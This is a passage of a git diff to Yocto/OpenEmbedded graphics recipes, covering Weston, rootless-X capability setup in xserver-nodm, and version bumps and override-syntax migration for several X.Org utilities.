-# VA-API desktop recorder
-PACKAGECONFIG[vaapi] = "-Dbackend-drm-screencast-vaapi=true,-Dbackend-drm-screencast-vaapi=false,libva"
-# Weston with EGL support
-PACKAGECONFIG[egl] = "-Drenderer-gl=true,-Drenderer-gl=false,virtual/egl"
-# Weston with lcms support
-PACKAGECONFIG[lcms] = "-Dcolor-management-lcms=true,-Dcolor-management-lcms=false,lcms"
-# Weston with webp support
-PACKAGECONFIG[webp] = "-Dimage-webp=true,-Dimage-webp=false,libwebp"
-# Weston with systemd-login support
-PACKAGECONFIG[systemd] = "-Dsystemd=true -Dlauncher-logind=true,-Dsystemd=false -Dlauncher-logind=false,systemd dbus"
-# Weston with Xwayland support (requires X11 and Wayland)
-PACKAGECONFIG[xwayland] = "-Dxwayland=true,-Dxwayland=false"
-# colord CMS support
-PACKAGECONFIG[colord] = "-Dcolor-management-colord=true,-Dcolor-management-colord=false,colord"
-# Clients support
-PACKAGECONFIG[clients] = "-Dsimple-clients=all -Ddemo-clients=true,-Dsimple-clients= -Ddemo-clients=false"
-# Virtual remote output with GStreamer on DRM backend
-PACKAGECONFIG[remoting] = "-Dremoting=true,-Dremoting=false,gstreamer-1.0"
-# Weston with PAM support
-PACKAGECONFIG[pam] = "-Dpam=true,-Dpam=false,libpam"
-
-do_install_append() {
- # Weston doesn't need the .la files to load modules, so wipe them
- rm -f ${D}/${libdir}/libweston-${WESTON_MAJOR_VERSION}/*.la
-
- # If X11, ship a desktop file to launch it
- if [ "${@bb.utils.filter('DISTRO_FEATURES', 'x11', d)}" ]; then
- install -d ${D}${datadir}/applications
- install ${WORKDIR}/weston.desktop ${D}${datadir}/applications
-
- install -d ${D}${datadir}/icons/hicolor/48x48/apps
- install ${WORKDIR}/weston.png ${D}${datadir}/icons/hicolor/48x48/apps
- fi
-
- if [ "${@bb.utils.contains('PACKAGECONFIG', 'xwayland', 'yes', 'no', d)}" = "yes" ]; then
- install -Dm 644 ${WORKDIR}/xwayland.weston-start ${D}${datadir}/weston-start/xwayland
- fi
-
- if [ "${@bb.utils.contains('PACKAGECONFIG', 'launch', 'yes', 'no', d)}" = "yes" ]; then
- chmod u+s ${D}${bindir}/weston-launch
- fi
-}
-
-PACKAGES += "${@bb.utils.contains('PACKAGECONFIG', 'xwayland', '${PN}-xwayland', '', d)} \
- libweston-${WESTON_MAJOR_VERSION} ${PN}-examples"
-
-FILES_${PN} = "${bindir}/weston ${bindir}/weston-terminal ${bindir}/weston-info ${bindir}/weston-launch ${bindir}/wcap-decode ${libexecdir} ${libdir}/${BPN}/*.so ${datadir}"
-
-FILES_libweston-${WESTON_MAJOR_VERSION} = "${libdir}/lib*${SOLIBS} ${libdir}/libweston-${WESTON_MAJOR_VERSION}/*.so"
-SUMMARY_libweston-${WESTON_MAJOR_VERSION} = "Helper library for implementing 'wayland window managers'."
-
-FILES_${PN}-examples = "${bindir}/*"
-
-FILES_${PN}-xwayland = "${libdir}/libweston-${WESTON_MAJOR_VERSION}/xwayland.so"
-RDEPENDS_${PN}-xwayland += "xserver-xorg-xwayland"
-
-RDEPENDS_${PN} += "xkeyboard-config"
-RRECOMMENDS_${PN} = "weston-init liberation-fonts"
-RRECOMMENDS_${PN}-dev += "wayland-protocols"
-
-USERADD_PACKAGES = "${PN}"
-GROUPADD_PARAM_${PN} = "--system weston-launch"
diff --git a/meta/recipes-graphics/x11-common/xserver-nodm-init/capability.conf b/meta/recipes-graphics/x11-common/xserver-nodm-init/capability.conf
new file mode 100644
index 0000000000..7ab7460816
--- /dev/null
+++ b/meta/recipes-graphics/x11-common/xserver-nodm-init/capability.conf
@@ -0,0 +1,2 @@
+cap_sys_admin @USER@
+none *
diff --git a/meta/recipes-graphics/x11-common/xserver-nodm-init/xserver-nodm b/meta/recipes-graphics/x11-common/xserver-nodm-init/xserver-nodm
index 6c548551b8..116bb278bc 100755
--- a/meta/recipes-graphics/x11-common/xserver-nodm-init/xserver-nodm
+++ b/meta/recipes-graphics/x11-common/xserver-nodm-init/xserver-nodm
@@ -38,6 +38,14 @@ case "$1" in
if [ -e /dev/hidraw0 ]; then
chmod o+rw /dev/hidraw*
fi
+ # Make sure that the Xorg has the cap_sys_admin capability which is
+ # needed for setting the drm master
+ if ! grep -q "^auth.*pam_cap\.so" /etc/pam.d/su; then
+ echo "auth optional pam_cap.so" >>/etc/pam.d/su
+ fi
+ if ! /usr/sbin/getcap $XSERVER | grep -q cap_sys_admin; then
+ /usr/sbin/setcap cap_sys_admin+eip $XSERVER
+ fi
fi
# Using su rather than sudo as latest 1.8.1 cause failure [YOCTO #1211]
diff --git a/meta/recipes-graphics/x11-common/xserver-nodm-init_3.0.bb b/meta/recipes-graphics/x11-common/xserver-nodm-init_3.0.bb
index a77c56445c..3cc8e9ed4d 100644
--- a/meta/recipes-graphics/x11-common/xserver-nodm-init_3.0.bb
+++ b/meta/recipes-graphics/x11-common/xserver-nodm-init_3.0.bb
@@ -1,5 +1,5 @@
SUMMARY = "Simple Xserver Init Script (no dm)"
-LICENSE = "GPLv2"
+LICENSE = "GPL-2.0-only"
LIC_FILES_CHKSUM = "file://COPYING;md5=751419260aa954499f7abaabaa882bbe"
SECTION = "x11"
PR = "r31"
@@ -10,6 +10,7 @@ SRC_URI = "file://xserver-nodm \
file://gplv2-license.patch \
file://xserver-nodm.service.in \
file://xserver-nodm.conf.in \
+ file://capability.conf \
"
S = "${WORKDIR}"
@@ -17,9 +18,9 @@ S = "${WORKDIR}"
# Since we refer to ROOTLESS_X which is normally enabled per-machine
PACKAGE_ARCH = "${MACHINE_ARCH}"
-inherit update-rc.d systemd distro_features_check
+inherit update-rc.d systemd features_check
-REQUIRED_DISTRO_FEATURES = "x11"
+REQUIRED_DISTRO_FEATURES = "x11 ${@oe.utils.conditional('ROOTLESS_X', '1', 'pam', '', d)}"
PACKAGECONFIG ??= "blank"
# dpms and screen saver will be on only if 'blank' is in PACKAGECONFIG
@@ -40,6 +41,8 @@ do_install() {
if [ "${ROOTLESS_X}" = "1" ] ; then
XUSER_HOME="/home/xuser"
XUSER="xuser"
+ install -D capability.conf ${D}${sysconfdir}/security/capability.conf
+ sed -i "s:@USER@:${XUSER}:" ${D}${sysconfdir}/security/capability.conf
else
XUSER_HOME=${ROOT_HOME}
XUSER="root"
@@ -49,9 +52,9 @@ do_install() {
sed -i "s:@NO_CURSOR_ARG@:${NO_CURSOR_ARG}:" ${D}${sysconfdir}/default/xserver-nodm
if ${@bb.utils.contains('DISTRO_FEATURES','systemd','true','false',d)}; then
- install -d ${D}${systemd_unitdir}/system
- install -m 0644 ${WORKDIR}/xserver-nodm.service.in ${D}${systemd_unitdir}/system/xserver-nodm.service
- sed -i "s:@USER@:${XUSER}:" ${D}${systemd_unitdir}/system/xserver-nodm.service
+ install -d ${D}${systemd_system_unitdir}
+ install -m 0644 ${WORKDIR}/xserver-nodm.service.in ${D}${systemd_system_unitdir}/xserver-nodm.service
+ sed -i "s:@USER@:${XUSER}:" ${D}${systemd_system_unitdir}/xserver-nodm.service
fi
if ${@bb.utils.contains('DISTRO_FEATURES','sysvinit','true','false',d)}; then
@@ -60,10 +63,10 @@ do_install() {
fi
}
-RDEPENDS_${PN} = "xinit ${@oe.utils.conditional('ROOTLESS_X', '1', 'xuser-account', '', d)}"
+RDEPENDS:${PN} = "xinit ${@oe.utils.conditional('ROOTLESS_X', '1', 'xuser-account libcap libcap-bin', '', d)}"
INITSCRIPT_NAME = "xserver-nodm"
INITSCRIPT_PARAMS = "start 9 5 . stop 20 0 1 2 3 6 ."
-SYSTEMD_SERVICE_${PN} = "xserver-nodm.service"
+SYSTEMD_SERVICE:${PN} = "xserver-nodm.service"
-RCONFLICTS_${PN} = "xserver-common (< 1.34-r9) x11-common"
+RCONFLICTS:${PN} = "xserver-common (< 1.34-r9) x11-common"
diff --git a/meta/recipes-graphics/xcursor-transparent-theme/xcursor-transparent-theme_git.bb b/meta/recipes-graphics/xcursor-transparent-theme/xcursor-transparent-theme_git.bb
index a4ab7f6eb8..09fbc9b798 100644
--- a/meta/recipes-graphics/xcursor-transparent-theme/xcursor-transparent-theme_git.bb
+++ b/meta/recipes-graphics/xcursor-transparent-theme/xcursor-transparent-theme_git.bb
@@ -2,7 +2,7 @@ SUMMARY = "Transparent X11 cursor theme for touchscreens"
HOMEPAGE = "http://www.matchbox-project.org/"
BUGTRACKER = "http://bugzilla.yoctoproject.org/"
-LICENSE = "GPLv2"
+LICENSE = "GPL-2.0-only"
LIC_FILES_CHKSUM = "file://COPYING;md5=94d55d512a9ba36caa9b7df079bae19f"
SECTION = "x11/base"
@@ -17,4 +17,4 @@ S = "${WORKDIR}/git"
inherit autotools allarch
-FILES_${PN} = "${datadir}/icons/xcursor-transparent/cursors/*"
+FILES:${PN} = "${datadir}/icons/xcursor-transparent/cursors/*"
diff --git a/meta/recipes-graphics/xinput-calibrator/pointercal-xinput_0.0.bb b/meta/recipes-graphics/xinput-calibrator/pointercal-xinput_0.0.bb
index 65348c3762..b77c940dde 100644
--- a/meta/recipes-graphics/xinput-calibrator/pointercal-xinput_0.0.bb
+++ b/meta/recipes-graphics/xinput-calibrator/pointercal-xinput_0.0.bb
@@ -1,4 +1,7 @@
SUMMARY = "Touchscreen calibration data from xinput-calibrator"
+DESCRIPTION = "A generic touchscreen calibration program for X.Org"
+HOMEPAGE = "https://www.freedesktop.org/wiki/Software/xinput_calibrator/"
+BUGTRACKER = "https://github.com/tias/xinput_calibrator/issues"
LICENSE = "MIT"
LIC_FILES_CHKSUM = "file://${COREBASE}/meta/COPYING.MIT;md5=3da9cfbcb788c80a0384361b4de20420"
@@ -17,4 +20,4 @@ do_install() {
}
PACKAGE_ARCH = "${MACHINE_ARCH}"
-CONFFILES_${PN} = "${sysconfdir}/pointercal.xinput"
+CONFFILES:${PN} = "${sysconfdir}/pointercal.xinput"
diff --git a/meta/recipes-graphics/xinput-calibrator/xinput-calibrator_git.bb b/meta/recipes-graphics/xinput-calibrator/xinput-calibrator_git.bb
index 9873d3f33f..3f49df6258 100644
--- a/meta/recipes-graphics/xinput-calibrator/xinput-calibrator_git.bb
+++ b/meta/recipes-graphics/xinput-calibrator/xinput-calibrator_git.bb
@@ -1,18 +1,18 @@
SUMMARY = "Touchscreen calibration program for X11"
HOMEPAGE = "http://www.freedesktop.org/wiki/Software/xinput_calibrator"
-LICENSE = "MIT-X"
+LICENSE = "MIT"
LIC_FILES_CHKSUM = "file://src/calibrator.cpp;endline=22;md5=1bcba08f67cdb56f34021557898e4b5a"
DEPENDS = "virtual/libx11 libxi libxrandr"
PV = "0.7.5+git${SRCPV}"
PR = "r6"
-inherit autotools pkgconfig distro_features_check
+inherit autotools pkgconfig features_check
# depends on virtual/libx11
REQUIRED_DISTRO_FEATURES = "x11"
-SRCREV = "03dadf55109bd43d3380f040debe9f82f66f2f35"
-SRC_URI = "git://github.com/tias/xinput_calibrator.git \
+SRCREV = "18ec53f1cada39f905614ebfaffed5c7754ecf46"
+SRC_URI = "git://github.com/kreijack/xinput_calibrator.git;branch=libinput;protocol=https \
file://30xinput_calibrate.sh \
file://Allow-xinput_calibrator_pointercal.sh-to-be-run-as-n.patch \
file://0001-calibrator.hh-Include-string-to-get-std-string.patch \
@@ -23,7 +23,7 @@ S = "${WORKDIR}/git"
# force native X11 ui as we don't have gtk+ in DEPENDS
EXTRA_OECONF += "--with-gui=x11"
-do_install_append() {
+do_install:append() {
install -d ${D}${bindir}
install -m 0755 ${S}/scripts/xinput_calibrator_pointercal.sh ${D}${bindir}/xinput_calibrator_once.sh
@@ -34,6 +34,6 @@ do_install_append() {
sed -e 's,^Exec=.*,Exec=${bindir}/xinput_calibrator_once.sh,' ${S}/scripts/xinput_calibrator.desktop > ${D}${sysconfdir}/xdg/autostart/xinput_calibrator.desktop
}
-FILES_${PN} += "${sysconfdir}/xdg/autostart"
-RDEPENDS_${PN} = "xinput formfactor"
-RRECOMMENDS_${PN} = "pointercal-xinput"
+FILES:${PN} += "${sysconfdir}/xdg/autostart"
+RDEPENDS:${PN} = "xinput formfactor"
+RRECOMMENDS:${PN} = "pointercal-xinput"
diff --git a/meta/recipes-graphics/xorg-app/mkfontdir_1.0.7.bb b/meta/recipes-graphics/xorg-app/mkfontdir_1.0.7.bb
deleted file mode 100644
index a453e24876..0000000000
--- a/meta/recipes-graphics/xorg-app/mkfontdir_1.0.7.bb
+++ /dev/null
@@ -1,22 +0,0 @@
-require xorg-app-common.inc
-
-SUMMARY = "A program to create an index of X font files in a directory"
-
-DESCRIPTION = "For each directory argument, mkfontdir reads all of the \
-font files in the directory. The font names and related data are written \
-out to the files \"fonts.dir\", \"fonts.scale\", and \"fonts.alias\". \
-The X server and font server use these files to find the available font \
-files."
-
-PE = "1"
-PR = "${INC_PR}.0"
-
-RDEPENDS_${PN} += "mkfontscale"
-RDEPENDS_${PN}_class-native += "mkfontscale-native"
-
-BBCLASSEXTEND = "native"
-
-LIC_FILES_CHKSUM = "file://COPYING;md5=b4fcf2b90cadbfc15009b9e124dc3a3f"
-
-SRC_URI[md5sum] = "18c429148c96c2079edda922a2b67632"
-SRC_URI[sha256sum] = "56d52a482df130484e51fd066d1b6eda7c2c02ddbc91fe6e2be1b9c4e7306530"
diff --git a/meta/recipes-graphics/xorg-app/mkfontscale_1.1.3.bb b/meta/recipes-graphics/xorg-app/mkfontscale_1.1.3.bb
deleted file mode 100644
index 2a6bec1649..0000000000
--- a/meta/recipes-graphics/xorg-app/mkfontscale_1.1.3.bb
+++ /dev/null
@@ -1,18 +0,0 @@
-require xorg-app-common.inc
-
-SUMMARY = "A program to create an index of scalable font files for X"
-
-DESCRIPTION = "For each directory argument, mkfontscale reads all of the \
-scalable font files in the directory. For every font file found, an X11 \
-font name (XLFD) is generated, and is written together with the file \
-name to a file fonts.scale in the directory. The resulting fonts.scale \
-is used by the mkfontdir program."
-
-DEPENDS = "util-macros-native zlib libfontenc freetype xorgproto"
-
-BBCLASSEXTEND = "native"
-
-LIC_FILES_CHKSUM = "file://COPYING;md5=2e0d129d05305176d1a790e0ac1acb7f"
-
-SRC_URI[md5sum] = "987c438e79f5ddb84a9c5726a1610819"
-SRC_URI[sha256sum] = "1e98df69ee5f4542d711e140e1d93e2c3f2775407ccbb7849110d52b91782a6a"
diff --git a/meta/recipes-graphics/xorg-app/mkfontscale_1.2.1.bb b/meta/recipes-graphics/xorg-app/mkfontscale_1.2.1.bb
new file mode 100644
index 0000000000..2d0c51a423
--- /dev/null
+++ b/meta/recipes-graphics/xorg-app/mkfontscale_1.2.1.bb
@@ -0,0 +1,21 @@
+require xorg-app-common.inc
+
+SUMMARY = "A program to create an index of scalable font files for X"
+
+DESCRIPTION = "For each directory argument, mkfontscale reads all of the \
+scalable font files in the directory. For every font file found, an X11 \
+font name (XLFD) is generated, and is written together with the file \
+name to a file fonts.scale in the directory. The resulting fonts.scale \
+is used by the mkfontdir program."
+
+DEPENDS = "util-macros-native zlib libfontenc freetype xorgproto"
+
+PROVIDES += "mkfontdir"
+RPROVIDES:${PN} += "mkfontdir"
+
+BBCLASSEXTEND = "native"
+
+LIC_FILES_CHKSUM = "file://COPYING;md5=99b1e1269aba5179139b9e4380fc0934"
+
+SRC_URI[md5sum] = "215940de158b1a3d8b3f8b442c606e2f"
+SRC_URI[sha256sum] = "ca0495eb974a179dd742bfa6199d561bda1c8da4a0c5a667f21fd82aaab6bac7"
diff --git a/meta/recipes-graphics/xorg-app/rgb_1.0.6.bb b/meta/recipes-graphics/xorg-app/rgb_1.0.6.bb
index c3e853631b..db287a5b57 100644
--- a/meta/recipes-graphics/xorg-app/rgb_1.0.6.bb
+++ b/meta/recipes-graphics/xorg-app/rgb_1.0.6.bb
@@ -13,4 +13,4 @@ PE = "1"
SRC_URI[md5sum] = "eab5bbd7642e5c784429307ec210d198"
SRC_URI[sha256sum] = "bbca7c6aa59939b9f6a0fb9fff15dfd62176420ffd4ae30c8d92a6a125fbe6b0"
-FILES_${PN} += "${datadir}/X11"
+FILES:${PN} += "${datadir}/X11"
diff --git a/meta/recipes-graphics/xorg-app/x11perf_1.6.1.bb b/meta/recipes-graphics/xorg-app/x11perf_1.6.1.bb
index 33c0c8a95c..651d03caca 100644
--- a/meta/recipes-graphics/xorg-app/x11perf_1.6.1.bb
+++ b/meta/recipes-graphics/xorg-app/x11perf_1.6.1.bb
@@ -13,11 +13,15 @@ LIC_FILES_CHKSUM = "file://COPYING;md5=428ca4d67a41fcd4fc3283dce9bbda7e \
PE = "1"
-do_install_append_class-target () {
+inherit multilib_script
+
+MULTILIB_SCRIPTS = "${PN}:${bindir}/x11perfcomp"
+
+do_install:append:class-target () {
sed -i -e 's:${HOSTTOOLS_DIR}/::g' ${D}${bindir}/x11perfcomp
}
-FILES_${PN} += "${libdir}/X11/x11perfcomp/*"
+FILES:${PN} += "${libdir}/X11/x11perfcomp/*"
SRC_URI[md5sum] = "e96b56756990c56c24d2d02c2964456b"
SRC_URI[sha256sum] = "1c7e0b8ffc2794b4ccf11e04d551823abe0ea47b4f7db0637390db6fbe817c34"
diff --git a/meta/recipes-graphics/xorg-app/xauth_1.1.1.bb b/meta/recipes-graphics/xorg-app/xauth_1.1.1.bb
new file mode 100644
index 0000000000..48259a69ff
--- /dev/null
+++ b/meta/recipes-graphics/xorg-app/xauth_1.1.1.bb
@@ -0,0 +1,14 @@
+require xorg-app-common.inc
+SUMMARY = "X authority utilities"
+DESCRIPTION = "X application to edit and display the authorization \
+information used in connecting to the X server."
+
+LIC_FILES_CHKSUM = "file://COPYING;md5=5ec74dd7ea4d10c4715a7c44f159a40b"
+
+DEPENDS += "libxau libxext libxmu"
+PE = "1"
+
+SRC_URI[sha256sum] = "164ea0a29137b284a47b886ef2affcb0a74733bf3aad04f9b106b1a6c82ebd92"
+
+PACKAGECONFIG ??= "${@bb.utils.filter('DISTRO_FEATURES', 'ipv6', d)}"
+PACKAGECONFIG[ipv6] = "--enable-ipv6,--disable-ipv6,"
diff --git a/meta/recipes-graphics/xorg-app/xauth_1.1.bb b/meta/recipes-graphics/xorg-app/xauth_1.1.bb
deleted file mode 100644
index 24ad9606ec..0000000000
--- a/meta/recipes-graphics/xorg-app/xauth_1.1.bb
+++ /dev/null
@@ -1,15 +0,0 @@
-require xorg-app-common.inc
-SUMMARY = "X authority utilities"
-DESCRIPTION = "X application to edit and display the authorization \
-information used in connecting to the X server."
-
-LIC_FILES_CHKSUM = "file://COPYING;md5=5ec74dd7ea4d10c4715a7c44f159a40b"
-
-DEPENDS += "libxau libxext libxmu"
-PE = "1"
-
-SRC_URI[md5sum] = "e50587c1bb832aafd1a19d91a0890a0b"
-SRC_URI[sha256sum] = "6d1dd1b79dd185107c5b0fdd22d1d791ad749ad6e288d0cdf80964c4ffa7530c"
-
-PACKAGECONFIG ??= "${@bb.utils.filter('DISTRO_FEATURES', 'ipv6', d)}"
-PACKAGECONFIG[ipv6] = "--enable-ipv6,--disable-ipv6,"
diff --git a/meta/recipes-graphics/xorg-app/xev/diet-x11.patch b/meta/recipes-graphics/xorg-app/xev/diet-x11.patch
index 53c0ac2e61..361369b291 100644
--- a/meta/recipes-graphics/xorg-app/xev/diet-x11.patch
+++ b/meta/recipes-graphics/xorg-app/xev/diet-x11.patch
@@ -1,14 +1,19 @@
+From b9b2b8d1af283a13cdccea55562cf332de48dcb9 Mon Sep 17 00:00:00 2001
+From: Ross Burton <ross@openedhand.com>
+Date: Wed, 28 Mar 2007 16:10:50 +0000
+Subject: [PATCH] Add xev
+
Upstream-Status: Inappropriate [disable feature]
---
- xev.c | 16 ++++++++--------
- 1 file changed, 8 insertions(+), 8 deletions(-)
+ xev.c | 64 +----------------------------------------------------------
+ 1 file changed, 1 insertion(+), 63 deletions(-)
-Index: xev-1.2.3/xev.c
-===================================================================
---- xev-1.2.3.orig/xev.c
-+++ xev-1.2.3/xev.c
-@@ -125,17 +125,6 @@ do_KeyPress(XEvent *eventp)
+diff --git a/xev.c b/xev.c
+index ea69234..6d5eb30 100644
+--- a/xev.c
++++ b/xev.c
+@@ -175,17 +175,6 @@ do_KeyPress(XEvent *eventp)
nbytes = XLookupString(e, str, 256, &ks, NULL);
/* not supposed to call XmbLookupString on a key release event */
@@ -26,24 +31,24 @@ Index: xev-1.2.3/xev.c
if (ks == NoSymbol)
ksname = "NoSymbol";
-@@ -168,16 +157,6 @@ do_KeyPress(XEvent *eventp)
+@@ -220,16 +209,6 @@ do_KeyPress(XEvent *eventp)
}
/* not supposed to call XmbLookupString on a key release event */
- if (e->type == KeyPress && xic) {
-- printf(" XmbLookupString gives %d bytes: ", nmbbytes);
+- output(Indent, "XmbLookupString gives %d bytes: ", nmbbytes);
- if (nmbbytes > 0) {
- dump(buf, nmbbytes);
-- printf(" \"%s\"\n", buf);
+- output(NewLine, " \"%s\"", buf);
- }
- else {
-- printf("\n");
+- output_new_line();
- }
- }
- printf(" XFilterEvent returns: %s\n",
+ output(Indent | NewLine, "XFilterEvent returns: %s",
XFilterEvent(eventp, e->window) ? "True" : "False");
-@@ -1141,7 +1120,7 @@ parse_event_mask(const char *s, long eve
+@@ -1211,7 +1190,7 @@ parse_event_mask(const char *s, long event_masks[])
if (s)
return True;
}
@@ -52,7 +57,7 @@ Index: xev-1.2.3/xev.c
if (s != NULL)
fprintf(stderr, "%s: unrecognized event mask '%s'\n", ProgramName, s);
-@@ -1288,37 +1267,6 @@ main(int argc, char **argv)
+@@ -1361,37 +1340,6 @@ main(int argc, char **argv)
fprintf(stderr, "%s: XSetLocaleModifiers failed\n", ProgramName);
}
@@ -90,7 +95,7 @@ Index: xev-1.2.3/xev.c
screen = DefaultScreen(dpy);
attr.event_mask = event_masks[EVENT_MASK_INDEX_CORE];
-@@ -1373,16 +1321,6 @@ main(int argc, char **argv)
+@@ -1446,16 +1394,6 @@ main(int argc, char **argv)
printf("Outer window is 0x%lx, inner window is 0x%lx\n", w, subw);
}
diff --git a/meta/recipes-graphics/xorg-app/xev_1.2.3.bb b/meta/recipes-graphics/xorg-app/xev_1.2.3.bb
deleted file mode 100644
index 6a69e747a6..0000000000
--- a/meta/recipes-graphics/xorg-app/xev_1.2.3.bb
+++ /dev/null
@@ -1,18 +0,0 @@
-require xorg-app-common.inc
-
-SUMMARY = "X Event Viewer"
-DESCRIPTION = "Xev creates a window and then asks the X server to send it events \
-whenever anything happens to the window (such as it being moved, resized, \
-typed in, clicked in, etc.). You can also attach it to an existing window."
-
-LIC_FILES_CHKSUM = "file://xev.c;beginline=1;endline=33;md5=577c99421f1803b891d2c79097ae4682"
-LICENSE = "MIT"
-
-PE = "1"
-
-DEPENDS += "libxrandr xorgproto"
-
-SRC_URI += "file://diet-x11.patch"
-
-SRC_URI[md5sum] = "eec82a5d4b599736f0fa637e96136746"
-SRC_URI[sha256sum] = "66bc4f1cfa1946d62612737815c34164e4ce40fcebd2c9e1d7e7a1117ad3ad09"
diff --git a/meta/recipes-graphics/xorg-app/xev_1.2.4.bb b/meta/recipes-graphics/xorg-app/xev_1.2.4.bb
new file mode 100644
index 0000000000..9407fa65f1
--- /dev/null
+++ b/meta/recipes-graphics/xorg-app/xev_1.2.4.bb
@@ -0,0 +1,17 @@
+require xorg-app-common.inc
+
+SUMMARY = "X Event Viewer"
+DESCRIPTION = "Xev creates a window and then asks the X server to send it events \
+whenever anything happens to the window (such as it being moved, resized, \
+typed in, clicked in, etc.). You can also attach it to an existing window."
+
+LIC_FILES_CHKSUM = "file://xev.c;beginline=1;endline=33;md5=577c99421f1803b891d2c79097ae4682"
+LICENSE = "MIT"
+
+PE = "1"
+
+DEPENDS += "libxrandr xorgproto"
+
+SRC_URI += "file://diet-x11.patch"
+
+SRC_URI[sha256sum] = "d700e08bfe751ed2dbf802baa204b056d0e49348b6eb3c6f9cb035d8ae4885e2"
diff --git a/meta/recipes-graphics/xorg-app/xeyes_1.1.2.bb b/meta/recipes-graphics/xorg-app/xeyes_1.1.2.bb
deleted file mode 100644
index 06885f8f53..0000000000
--- a/meta/recipes-graphics/xorg-app/xeyes_1.1.2.bb
+++ /dev/null
@@ -1,14 +0,0 @@
-require xorg-app-common.inc
-
-SUMMARY = "X11 eyes that follow the mouse cursor demo"
-DESCRIPTION = "Xeyes is a small X11 application that shows a pair of eyes that move to \
-follow the location of the mouse cursor around the screen."
-
-PE = "1"
-
-LIC_FILES_CHKSUM = "file://COPYING;md5=3ea51b365051ac32d1813a7dbaa4bfc6"
-
-SRC_URI[md5sum] = "6f0543ec84283df5743eeafc173bea4a"
-SRC_URI[sha256sum] = "57bcec0d2d167af9e5d44d0dbd74c6d7c0f0591cd0608952b23c749fdd910553"
-
-DEPENDS += "libxau libxt libxext libxmu libxrender"
diff --git a/meta/recipes-graphics/xorg-app/xeyes_1.2.0.bb b/meta/recipes-graphics/xorg-app/xeyes_1.2.0.bb
new file mode 100644
index 0000000000..73d09f058d
--- /dev/null
+++ b/meta/recipes-graphics/xorg-app/xeyes_1.2.0.bb
@@ -0,0 +1,13 @@
+require xorg-app-common.inc
+
+SUMMARY = "X11 eyes that follow the mouse cursor demo"
+DESCRIPTION = "Xeyes is a small X11 application that shows a pair of eyes that move to \
+follow the location of the mouse cursor around the screen."
+
+PE = "1"
+
+LIC_FILES_CHKSUM = "file://COPYING;md5=3ea51b365051ac32d1813a7dbaa4bfc6"
+
+SRC_URI[sha256sum] = "f8a17e23146bef1ab345a1e303c6749e42aaa7bcf4f25428afad41770721b6db"
+
+DEPENDS += "libxau libxt libxext libxmu libxrender libxi"
diff --git a/meta/recipes-graphics/xorg-app/xinit/0001-Make-manpage-multilib-identical.patch b/meta/recipes-graphics/xorg-app/xinit/0001-Make-manpage-multilib-identical.patch
new file mode 100644
index 0000000000..649905574c
--- /dev/null
+++ b/meta/recipes-graphics/xorg-app/xinit/0001-Make-manpage-multilib-identical.patch
@@ -0,0 +1,28 @@
+From d642e60d8963f1b90569cd0ab5c29ac2c9bfe939 Mon Sep 17 00:00:00 2001
+From: Jeremy Puhlman <jpuhlman@mvista.com>
+Date: Fri, 6 Mar 2020 22:28:14 +0000
+Subject: [PATCH] Make manpage multilib identical
+
+Upstream-Status: Submitted
+
+Signed-off-by: Jeremy Puhlman <jpuhlman@mvista.com>
+---
+ man/Makefile.am | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/man/Makefile.am b/man/Makefile.am
+index 9c6569f..608e933 100644
+--- a/man/Makefile.am
++++ b/man/Makefile.am
+@@ -12,7 +12,7 @@ MAN_SUBSTS+= -e 's|__XSERVERNAME__|$(XSERVERNAME)|g' \
+ -e 's|__XCONFIGFILEMAN__|$(XCONFIGFILEMAN)|g' \
+ -e 's|__xinitdir__|$(XINITDIR)|g' \
+ -e 's|__bindir__|$(bindir)|g' \
+- -e 's|__libdir__|$(libdir)|g' \
++ -e 's|__libdir__|$(prefix)/lib*|g' \
+ -e 's|__configdir__|$(XINITDIR)|g'
+
+
+--
+2.23.0
+
diff --git a/meta/recipes-graphics/xorg-app/xinit_1.4.1.bb b/meta/recipes-graphics/xorg-app/xinit_1.4.1.bb
index 5626ebbd52..e6ebf273e8 100644
--- a/meta/recipes-graphics/xorg-app/xinit_1.4.1.bb
+++ b/meta/recipes-graphics/xorg-app/xinit_1.4.1.bb
@@ -12,9 +12,14 @@ LIC_FILES_CHKSUM = "file://COPYING;md5=18f01e7b39807bebe2b8df101a039b68"
PE = "1"
+SRC_URI += "file://0001-Make-manpage-multilib-identical.patch"
+
SRC_URI[md5sum] = "6d506ab2efc17a08e87778654e099d37"
SRC_URI[sha256sum] = "de9b8f617b68a70f6caf87da01fcf0ebd2b75690cdcba9c921d0ef54fa54abb9"
EXTRA_OECONF = "ac_cv_path_MCOOKIE=${bindir}/mcookie"
-RDEPENDS_${PN} += "util-linux-mcookie"
+PACKAGECONFIG ??= "rxvt"
+PACKAGECONFIG[rxvt] = "--with-xterm=rxvt,,,rxvt-unicode"
+
+RDEPENDS:${PN} += "util-linux-mcookie"
diff --git a/meta/recipes-graphics/xorg-app/xkbcomp_1.4.2.bb b/meta/recipes-graphics/xorg-app/xkbcomp_1.4.2.bb
deleted file mode 100644
index eaf8eaaf74..0000000000
--- a/meta/recipes-graphics/xorg-app/xkbcomp_1.4.2.bb
+++ /dev/null
@@ -1,17 +0,0 @@
-require xorg-app-common.inc
-
-SUMMARY = "A program to compile XKB keyboard description"
-
-DESCRIPTION = "The xkbcomp keymap compiler converts a description of an \
-XKB keymap into one of several output formats. The most common use for \
-xkbcomp is to create a compiled keymap file (.xkm extension) which can \
-be read directly by XKB-capable X servers or utilities."
-
-LIC_FILES_CHKSUM = "file://COPYING;md5=08436e4f4476964e2e2dd7e7e41e076a"
-
-DEPENDS += "libxkbfile"
-
-BBCLASSEXTEND = "native"
-
-SRC_URI[md5sum] = "12610df19df2af3797f2c130ee2bce97"
-SRC_URI[sha256sum] = "6dd8bcb9be7e85bd7294abe261b8c7b0539d2fc93e41b80fb8bd013767ce8424"
diff --git a/meta/recipes-graphics/xorg-app/xkbcomp_1.4.5.bb b/meta/recipes-graphics/xorg-app/xkbcomp_1.4.5.bb
new file mode 100644
index 0000000000..657ec7580d
--- /dev/null
+++ b/meta/recipes-graphics/xorg-app/xkbcomp_1.4.5.bb
@@ -0,0 +1,18 @@
+require xorg-app-common.inc
+
+SUMMARY = "A program to compile XKB keyboard description"
+
+DESCRIPTION = "The xkbcomp keymap compiler converts a description of an \
+XKB keymap into one of several output formats. The most common use for \
+xkbcomp is to create a compiled keymap file (.xkm extension) which can \
+be read directly by XKB-capable X servers or utilities."
+
+LIC_FILES_CHKSUM = "file://COPYING;md5=be5e191f04d3f2cd80aa83b928ba984c"
+
+DEPENDS += "libxkbfile"
+
+BBCLASSEXTEND = "native"
+
